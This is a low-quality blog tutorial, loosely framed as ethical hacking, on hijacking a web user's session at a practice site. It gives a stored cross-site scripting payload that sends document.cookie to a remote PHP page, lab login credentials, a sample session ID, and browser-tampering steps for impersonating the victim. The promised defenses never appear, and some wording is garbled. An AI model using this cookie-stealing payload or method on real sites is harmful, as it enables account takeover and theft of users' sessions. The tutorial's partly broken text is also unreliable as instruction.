How to Hacking a Website with simple steps | Ethical hacking | hack a website |

 

How-to-Hacking-a-Website-with-simple-steps

You'll learn how to hacking a websites in this course, and we'll also introduce you to how to start hacking a website strategies, and defenses you can adopt to prevent such attacks, and the best websites to practice hacking,

How to Hacking a Website with simple steps

In this realistic website hacking scenario, we are going to hijack the user session of an online application at www.techpanda.org. Cross-site scripting will be used to read the cookie session ID, which will then be used to pretend to be a real user session.

The basic assumption is that an attacker has access to a web application and wants to commandeer the sessions of other users using it. If the attacker has a limited-access account, the attack may aim to gain administrator access to the online application.

starting up:

• Visit http://www.techpanda.org
• Access via SQL injection is highly recommended for practice reasons. For more details on how to achieve this, see this article.
• admin@google.com is the login email, and password2010 is the password.
• If your login is successful, you will see the dashboard below.

• Select Add New Contact.
• Please enter the first name shown above.

<a href=# onclick=\”document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>Dark</a>

JavaScript is used in the code above. A hyperlink is added using an onclick event. When the unaware user clicks the link, the event gets the PHP cookie session ID and transmits it, together with the session id in the URL, to the snatch sess id.php page.

• Provide the final information as shown below.
• Save Changes button

• The following screen will now appear as your dashboard.

• Whenever a user with access rights logs in, the cross-site scripting code will be loaded as it is stored in the database.
• Imagine an administrator logs in and selects a deep link.
• This will show a popup with a URL that will display the session ID.

Note: The user can be returned to the page as if nothing had happened once the script has sent the value to the remote server where the PHPSESSID is stored.

Note that although the price you receive may be different from this website hacking tutorial, the principle remains the same.

Using the Tamper Data add-on and Firefox to impersonate a session

The steps you must follow to complete this activity are explained in the flowchart below.

• For this step, you'll need Firefox and the Tamper Data add-on. Launch Firefox and install the add-on as shown in the diagrams below.

• Search for tamper data and then click install as indicated above.

• Select "Accept and Install"...

• When the installation is complete, click Restart immediately.
• If Firefox's menu bar is hidden, enable it.

• Select Tamper Data from the Tools menu, as shown below.

• You will see the window below. Note: If Windows is not blank, press the Clear button.

• On the Start Tamper menu, click
• Open Firefox again and enter the URL http://www.techpanda.org/dashboard.php then press Enter to bring up the page.
• The following pop-up will appear with the tamper.

• The pop-up window has three (3) options. Before the HTTP header data is sent to the server, you can change it using the tamper option.
• Click on it.
• You will see the window below.

• After the equal sign, paste the PHP session ID that you copied from the attack URL. Your value should now appear like this.
• PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
• 
  
• Select the OK button.
• The Tamper Data pop-up box will appear again.

• Uncheck the box that says to continue tinkering?
• When finished, click the Submit button.
• You should be able to see the dashboard, pictured below.

Please note: that we do not authenticate by logging in. Instead, we used PHPSESSID information obtained from cross-site scripting.

Related to this post:

How to Learn Hack Whatsapp How To Learn Hacking step by step

Viki How Tech Tips